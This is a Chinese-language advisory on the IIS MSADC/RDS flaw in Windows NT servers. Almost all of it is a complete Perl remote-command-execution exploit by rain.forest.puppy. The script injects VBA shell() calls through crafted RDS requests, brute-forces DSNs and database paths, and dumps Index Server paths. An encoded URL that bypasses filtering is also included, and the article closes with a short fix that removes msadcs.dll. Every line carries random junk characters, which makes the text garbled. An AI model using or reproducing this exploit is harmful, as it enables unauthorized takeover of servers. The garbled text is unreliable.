IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
4Wp=y I5W~g.<6 涉及程序：
An0GPhC Microsoft NT server
{Y1C k5 EKN~H$. 描述：
j 5 h-dK 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
uHNCS z H( #[[ e n 详细：
tO&^>&;5 如果你没有时间读详细内容的话，就删除:
N6TH}~62} c:\Program Files\Common Files\System\Msadc\msadcs.dll
/g.U&oI]D 有关的安全问题就没有了。
.fs3>@T"# 7uk[Oy<_ 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
UC$ppTCc? K@%].: 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
z{r}~{{E 关于利用ODBC远程漏洞的描述，请参看:
H K% 7g Pc ] H P http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ^=*;X;7 ]I6 J7A[ 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
&xExyz~` http://www.microsoft.com/security/bulletins/MS99-025faq.asp A":T 1s BFt> 9x]T 这里不再论述。
o#N+Y?O @'|~v <<WZ 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
6wg^FD_Q f?)-}\[IR{ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
@E8+C8' 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
>.D4co> u]G\H!Wk Q H%{+QwzZ[j #将下面这段保存为txt文件，然后: "perl -x 文件名"
2>59q$ | JsS-n'gF' #!perl
^kSqsT" #
0IWf!Sk
] # MSADC/RDS 'usage' (aka exploit) script
Gp\
kU:}& #
4{Z)8;QX # by rain.forest.puppy
h>bx}$q #
(QiAisE # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
.eC1qWZJpd # beta test and find errors!
UL9n-M = [.}oyz; }N use Socket; use Getopt::Std;
;O #>Y getopts("e:vd:h:XR", \%args);
T6kdS]4- ]K%!@O! print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
] JR +ayk7 M'l ;: if (!defined $args{h} && !defined $args{R}) {
OB }Ib] print qq~
bQ5\ ]5M Usage: msadc.pl -h <host> { -d <delay> -X -v }
Ht&Y C<X -h <host> = host you want to scan (ip or domain)
& >}5jC.I -d <seconds> = delay between calls, default 1 second
I *^Ta{j[ -X = dump Index Server path table, if available
-DAlRz#d, -v = verbose
9Gz=lc[!7 -e = external dictionary file for step 5
=?`c=z3~i$ ]]Ufas9 Or a -R will resume a command session
q75s#[<ap 9o!Bzy+_ ~; exit;}
|gY^)9ei 8a"% 0d# $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
xe$_aBU if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
,"0 :3+(8; if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
Q=dy<kg'] if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
>`D:-huNeE $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
7IM@i>p% if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
yaV|AB$v {(?4!rh if (!defined $args{R}){ $ret = &has_msadc;
p mYHUj
# die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
SZCze"`[ II=79$n`G print "Please type the NT commandline you want to run (cmd /c assumed):\n"
PTV:IzoW . "cmd /c ";
eJ81-!) $in=<STDIN>; chomp $in;
h
zn6kbv $command="cmd /c " . $in ;
Ssg&QI YZJyk:H\ if (defined $args{R}) {&load; exit;}
9-m=*|p GsM<2@? print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
ku
M$UYTTX &try_btcustmr;
,MIV =* mRK>U$v print "\nStep 2: Trying to make our own DSN...";
G .4X' &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
]
@fk] ]R |(^ PS8wG print "\nStep 3: Trying known DSNs...";
11;zNjD| &known_dsn;
@`Su0W+. r#mx~OVkk print "\nStep 4: Trying known .mdbs...";
-`6+UkOV[x &known_mdb;
P0jtp7 )7 6;5Ss?ep if (defined $args{e}){
Rbv;?'O$L print "\nStep 5: Trying dictionary of DSN names...";
;YL i { &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
?!/kZM_ts seeB S/% print "Sorry Charley...maybe next time?\n";
El"Q'(:/U exit;
LBP`hK:>W~ FHI ;)wn= ##############################################################################
ENY+^7 cj5+N M" sub sendraw { # ripped and modded from whisker
]5:8Z@ sleep($delay); # it's a DoS on the server! At least on mine...
V Jll my ($pstr)=@_;
'H <\x socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Pg7Yp2)Oli die("Socket problems\n");
x ]ot 2 if(connect(S,pack "SnA4x8",2,80,$target)){
&b& , select(S); $|=1;
E8&TO~"a]e print $pstr; my @in=<S>;
Ozf@6\/t select(STDOUT); close(S);
>b4eL59 return @in;
!jR=pI fq } else { die("Can't connect...\n"); }}
+^T@sa`[I S ByW[JE ##############################################################################
@U} 1EC{A H}
g{Cr"Ex sub make_header { # make the HTTP request
|LKXOU
c my $msadc=<<EOT
DM>eVS3} POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
VVOd]2{ User-Agent: ACTIVEDATA
3sZ\0P} Host: $ip
,s; Uf F Content-Length: $clen
.#pU=v#/[ Connection: Keep-Alive
UW
EV^ &"x t\ewHZ G" ADCClientVersion:01.06
Owk |@6! Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
=odFmF )53y
AyP --!ADM!ROX!YOUR!WORLD!
du^J2m{f Content-Type: application/x-varg
8)I^ t81 Content-Length: $reqlen
(dSL7nel;L @f_+=}|dc EOT
[ !OxZ! ; $msadc=~s/\n/\r\n/g;
|ZBI * return $msadc;}
#Mw8^FST @F*%9LPv ##############################################################################
AYx{U? 0p )K sub make_req { # make the RDS request
pyvS wD5t my ($switch, $p1, $p2)=@_;
%84rL?S my $req=""; my $t1, $t2, $query, $dsn;
h.t-`k 7 u;c?d!E if ($switch==1){ # this is the btcustmr.mdb query
\)|hogI|f $query="Select * from Customers where City=" . make_shell();
!C: $?o U $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
Z?QC!bWb $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
+K4}Dmg #;nYg?d= elsif ($switch==2){ # this is general make table query
[cp+ i^f $query="create table AZZ (B int, C varchar(10))";
J/*`7Pd $dsn="$p1";}
gB'6`' Q'0d~6n&{ elsif ($switch==3){ # this is general exploit table query
E?0%Z&1h $query="select * from AZZ where C=" . make_shell();
|
%Vh`HT $dsn="$p1";}
XOS[No~ kZ3ThIk% elsif ($switch==4){ # attempt to hork file info from index server
,nm*q#R,0 $query="select path from scope()";
[q #\D $dsn="Provider=MSIDXS;";}
C~iL3C b Dm<A
^u8 elsif ($switch==5){ # bad query
y SDH "|0 $query="select";
04=c-~&q $dsn="$p1";}
^ r,=vO y
h9*z3 $t1= make_unicode($query);
9qG6Pb $t2= make_unicode($dsn);
3/n5#&c\4 $req = "\x02\x00\x03\x00";
Jz e:[MYS $req.= "\x08\x00" . pack ("S1", length($t1));
dlTt _. $req.= "\x00\x00" . $t1 ;
) hfpwdQ $req.= "\x08\x00" . pack ("S1", length($t2));
u4 h4.NH X $req.= "\x00\x00" . $t2 ;
<W $mj04@ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
Z?m3~L9L2 return $req;}
`+Q%oj#FF ]GQ G~ H^ ##############################################################################
Q$@I"V&G. 9zy!Fq sub make_shell { # this makes the shell() statement
ZExlGC return "'|shell(\"$command\")|'";}
TbW38\>.R jtc]>]6i ##############################################################################
AkQ ~k0i}b J nM["Q=` sub make_unicode { # quick little function to convert to unicode
H~1 jY4E my ($in)=@_; my $out;
w&T9; _/ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
pg) WKbV return $out;}
*CI#+P 5]Y?m' ##############################################################################
}S<2A7)el kL"2=7m; sub rdo_success { # checks for RDO return success (this is kludge)
'$%l7 my (@in) = @_; my $base=content_start(@in);
,1o FPa{? if($in[$base]=~/multipart\/mixed/){
OYTkV}tG return 1 if( $in[$base+10]=~/^\x09\x00/ );}
5C5sgR C return 0;}
b}TS0 +TF JrRH\+4K ##############################################################################
-C?ZB}` L0WN\|D sub make_dsn { # this makes a DSN for us
b!5~7Ub.No my @drives=("c","d","e","f");
UrEs4R1# print "\nMaking DSN: ";
: E )>\& foreach $drive (@drives) {
Qjv}$`M print "$drive: ";
bAtSV u my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
7! INkH] "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
]|P iF+ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
_^%,x $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
n]o<S+z return 0 if $2 eq "404"; # not found/doesn't exist
vT,AMja if($2 eq "200") {
q6V> zi foreach $line (@results) {
QX'qyojxN return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
vuY~_ } return 0;}
5uj?#)N CN8Y\<Ar ##############################################################################
*mvlb
(' & H*'IK' O sub verify_exists {
E92KP?i my ($page)=@_;
mb^~qeRQ my @results=sendraw("GET $page HTTP/1.0\n\n");
+}os&[S return $results[0];}
z/ @slT 9Y_HyOZ*GX ##############################################################################
9N 3o-= p]2128kqx sub try_btcustmr {
>V8-i` my @drives=("c","d","e","f");
)cMh0SGcM1 my @dirs=("winnt","winnt35","winnt351","win","windows");
jLHkOk5{: S k\K 4 foreach $dir (@dirs) {
Ls+2Zbh print "$dir -> "; # fun status so you can see progress
Tqn@P foreach $drive (@drives) {
5f K_Aq{ print "$drive: "; # ditto
aNspMJ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
5 IjGm $reqlenlen=length( "$reqlen" );
|~mOfuQ b
$clen= 206 + $reqlenlen + $reqlen;
ra
g Xn O`t&ldU my @results=sendraw(make_header() . make_req(1,$drive,$dir));
l L@XM2" if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
y(yHt= r else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
`Cynj+PCe !9VY|&fHe ##############################################################################
-3Z,EaG^ ~
=2 PU$u sub odbc_error {
x@;m8z0 my (@in)=@_; my $base;
4yr'W8X_ my $base = content_start(@in);
ywmo#qYe if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
6H WE~`ok6 $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
`% "\@< $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
#r~# I}U $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
YWO)HsjP return $in[$base+4].$in[$base+5].$in[$base+6];}
bI9~jWgGp print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
TpwkD_fg print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
^7WN{0 $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
kxIF#/8 a P@N)" ##############################################################################
#rQ2gx4 2E) -M9ds sub verbose {
9ZsV y my ($in)=@_;
w4{<n /" return if !$verbose;
U,{eHe ?>T print STDOUT "\n$in\n";}
%axh`xK# U}rU~ 3N ##############################################################################
\aUC(K~o\; V1 `o%;j sub save {
RmeD$>7 my ($p1, $p2, $p3, $p4)=@_;
SBk4_J/_ open(OUT, ">rds.save") || print "Problem saving parameters...\n";
k:#!zK} print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
[
=9T*Sp close OUT;}
#:U%mHT(_ )e=D(qd ##############################################################################
;rGwc$?| BLf>_b Uk sub load {
'9Xu
p my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Vl=l?A8 open(IN,"<rds.save") || die("Couldn't open rds.save\n");
J7Hl\Q[D1 @p=<IN>; close(IN);
bP$dU,@p~ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
e>7>j@(K] $target= inet_aton($ip) || die("inet_aton problems");
jB Z&Ad@e print "Resuming to $ip ...";
Q }K"24`= $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
b;W3 j if($p[1]==1) {
& 4x}ppX $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
0#s"e}@v $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
)|R)Q6UJ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
t[;LD_ if (rdo_success(@results)){print "Success!\n";}
5o'FS{6U else { print "failed\n"; verbose(odbc_error(@results));}}
U!?_W=? elsif ($p[1]==3){
;oKZ!ND if(run_query("$p[3]")){
6"5A%{ J print "Success!\n";} else { print "failed\n"; }}
6"O+w=5B elsif ($p[1]==4){
qHplJ " if(run_query($drvst . "$p[3]")){
2 M#Q.F print "Success!\n"; } else { print "failed\n"; }}
Ls$D$/:q? exit;}
N06OvU2>xU "R1NG?; q ##############################################################################
^?7-r 6 (pCrmyB sub create_table {
F Q7T'G![ my ($in)=@_;
< #}5IQ5`Z $reqlen=length( make_req(2,$in,"") ) - 28;
~IfJwBn-i $reqlenlen=length( "$reqlen" );
n&;85IF1 $clen= 206 + $reqlenlen + $reqlen;
TA`1U;c{n my @results=sendraw(make_header() . make_req(2,$in,""));
=_ ./~ return 1 if rdo_success(@results);
(ybI\UI my $temp= odbc_error(@results); verbose($temp);
WwBOM~/`2 return 1 if $temp=~/Table 'AZZ' already exists/;
;!mzy b* return 0;}
L:pYn_ ]7F=u!/`<C ##############################################################################
Ng2@z<>. %Ycy{` sub known_dsn {
qn<|-hA* # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
R'bTN|Cq my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
+\c5] ` "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
^T;*M_ "banner", "banners", "ads", "ADCDemo", "ADCTest");
:bu/^mW[ P}y +G| foreach $dSn (@dsns) {
+>Qq(Y print ".";
.
y-D16V next if (!is_access("DSN=$dSn"));
%S@ZXf~: if(create_table("DSN=$dSn")){
\K{ 0L print "$dSn successful\n";
9N%We|L,c if(run_query("DSN=$dSn")){
n.`($yR_ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
6xe*E[#k\ print "Something's borked. Use verbose next time\n";}}} print "\n";}
p$NQyS5C"S \FbvHr, ##############################################################################
:0j?oY~e ,.83m%i sub is_access {
LqoB 10Kc\ my ($in)=@_;
"3)C'WlEy/ $reqlen=length( make_req(5,$in,"") ) - 28;
hl7bzKO*w $reqlenlen=length( "$reqlen" );
@uqd.Q $clen= 206 + $reqlenlen + $reqlen;
?wiC Q6*$ my @results=sendraw(make_header() . make_req(5,$in,""));
|+FubYf?$ my $temp= odbc_error(@results);
~q@|l 3?$ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
3LJ+v5T~ return 0;}
MSQEO4ge VgG0VM
##############################################################################
G~^r)fm_ Sz)' ogl sub run_query {
H1pO!>M my ($in)=@_;
=)H.c uc $reqlen=length( make_req(3,$in,"") ) - 28;
w (*vj $reqlenlen=length( "$reqlen" );
+qtJaYf/0 $clen= 206 + $reqlenlen + $reqlen;
(lBCO?`fx my @results=sendraw(make_header() . make_req(3,$in,""));
(>UZ<2GPL return 1 if rdo_success(@results);
2\A $6N ;_ my $temp= odbc_error(@results); verbose($temp);
UU YSFa % return 0;}
dh`K`b4I =w _Ype` ##############################################################################
RE 7?KR> t9k zw*U9 sub known_mdb {
$k@O`xD,q my @drives=("c","d","e","f","g");
??-[eB. my @dirs=("winnt","winnt35","winnt351","win","windows");
25nt14Y 0u my $dir, $drive, $mdb;
{3>$[bT my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
fn jPSts0 F 5bj=mI # this is sparse, because I don't know of many
F'={q{2wH my @sysmdbs=( "\\catroot\\icatalog.mdb",
6@h/*WElG "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
\%JgH=@
:= "\\system32\\certmdb.mdb",
M)J5;^[" "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
NR 5gj-B[ o lR?n(v my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
}W C[$Y_@ "\\cfusion\\cfapps\\forums\\forums_.mdb",
&=@IzmA "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
\+oQd= K@ "\\cfusion\\cfapps\\security\\realm_.mdb",
7{e
4c "\\cfusion\\cfapps\\security\\data\\realm.mdb",
o8V5w!+# "\\cfusion\\database\\cfexamples.mdb",
?(' wn< "\\cfusion\\database\\cfsnippets.mdb",
GfxZ'VIn "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
fa
jGZyd0: "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
|B?m,U$A! "\\cfusion\\brighttiger\\database\\cleam.mdb",
X:f UI4 "\\cfusion\\database\\smpolicy.mdb",
h0*!;Z7 "\\cfusion\\database\cypress.mdb",
:[p} "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
XV7Ex\D* "\\website\\cgi-win\\dbsample.mdb",
#px+;k 5 "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
y2Q&s 9$Do "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
Maha$n* ); #these are just
d\&U*= foreach $drive (@drives) {
/kZebNf6H foreach $dir (@dirs){
}Sm(]y foreach $mdb (@sysmdbs) {
lK?uXr7^ print ".";
LiC*@W if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
YiXk5B0 Uh print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
rT=rrvV3g if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
{g'(~ qv print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
|PvPAPy)uu } else { print "Something's borked. Use verbose next time\n"; }}}}}
vONasD9At . wEd"A&j foreach $drive (@drives) {
*<$*"p foreach $mdb (@mdbs) {
ttaM. print ".";
I13y6= d if(create_table($drv . $drive . $dir . $mdb)){
a=|K%ii+Y print "\n" . $drive . $dir . $mdb . " successful\n";
j2t7'bO_ if(run_query($drv . $drive . $dir . $mdb)){
e@L=L W> print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
@+&LYy72 } else { print "Something's borked. Use verbose next time\n"; }}}}
7cuE7" }
WA <v9#m 5N#aXG^9 ##############################################################################
A]_7}<<N pQyK={7?` sub hork_idx {
oM
X print "\nAttempting to dump Index Server tables...\n";
lF<] 8m%F print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
N~nziY*C,* $reqlen=length( make_req(4,"","") ) - 28;
paA(C|%{ $reqlenlen=length( "$reqlen" );
+C^n O=[E $clen= 206 + $reqlenlen + $reqlen;
_>o:R$ %} my @results=sendraw2(make_header() . make_req(4,"",""));
l]
K3Y\#bP if (rdo_success(@results)){
+r� my $max=@results; my $c; my %d;
u4*BX& for($c=19; $c<$max; $c++){
U45e2~1!O $results[$c]=~s/\x00//g;
$!-yr7 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
k90 YV( $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
I {SjlN}d $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
Eh)fnqs_d} $d{"$1$2"}="";}
o@_q]/Mh foreach $c (keys %d){ print "$c\n"; }
\ ,'m</o~, } else {print "Index server doesn't seem to be installed.\n"; }}
: p1u(hflS 7zl5yK N ##############################################################################
PF0_8,@U ^Y?k0z sub dsn_dict {
#z' open(IN, "<$args{e}") || die("Can't open external dictionary\n");
>1X|^ while(<IN>){
F0m-23[H $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
Gf%~{@7=u next if (!is_access("DSN=$dSn"));
cRC6 s8 if(create_table("DSN=$dSn")){
+X\FBvP& print "$dSn successful\n";
d UD[e, ? if(run_query("DSN=$dSn")){
WSP I|#Xr% print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
8$] 1M,$r print "Something's borked. Use verbose next time\n";}}}
j}#w )M print "\n"; close(IN);}
[DYQ"A= )d ]E{NNHK%2N ##############################################################################
_kC-dEGf!y b.Os iT;_j sub sendraw2 { # ripped and modded from whisker
h<h% *av|
sleep($delay); # it's a DoS on the server! At least on mine...
(Nq=H)cm8 my ($pstr)=@_;
OMk y $d# socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Qry@
s5 die("Socket problems\n");
;'gWu if(connect(S,pack "SnA4x8",2,80,$target)){
cQjv$$&6[ print "Connected. Getting data";
+Z,;,5'5G open(OUT,">raw.out"); my @in;
Hkg2P ,2 select(S); $|=1; print $pstr;
#QZe,"C9` while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
-D<< kr a close(OUT); select(STDOUT); close(S); return @in;
ynp 8r f } else { die("Can't connect...\n"); }}
YByLoM* 8u" U 1 ##############################################################################
~ \r* HGl|-nW> sub content_start { # this will take in the server headers
)| cc X my (@in)=@_; my $c;
MnmVl"(/ for ($c=1;$c<500;$c++) {
h y9\57_# if($in[$c] =~/^\x0d\x0a/){
1l9 G[o
* if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
[ =C6U_vU else { return $c+1; }}}
v<k?Vu return -1;} # it should never get here actually
)J=! L\ m 1b?J3 ##############################################################################
V ( }:=eK oE6t auQn sub funky {
z xEL + P my (@in)=@_; my $error=odbc_error(@in);
7o\@>rNWP if($error=~/ADO could not find the specified provider/){
y4yhF8E>;U print "\nServer returned an ADO miscofiguration message\nAborting.\n";
]43/`FX exit;}
L]7= ?vN=8 if($error=~/A Handler is required/){
/>C^WQI^ print "\nServer has custom handler filters (they most likely are patched)\n";
53_Hl]#qZ exit;}
7K12 G!) if($error=~/specified Handler has denied Access/){
SV4E0c> print "\nServer has custom handler filters (they most likely are patched)\n";
p;a,#IJ u exit;}}
v {RZJ^1 e b"VE%+Hu ##############################################################################
DmK57V4L^ Nd4f^Y sub has_msadc {
]dVGUG8 my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
4>Y R{ my $base=content_start(@results);
cs48* +m return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
_ r#Z}HK return 0;}
qyb?49I H;mSkRD3N ########################
XE RUo 50 h!
X9 3F" lXguS 解决方案：
v@sIHb 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
qfF~D0} 2、移除web 目录: /msadc
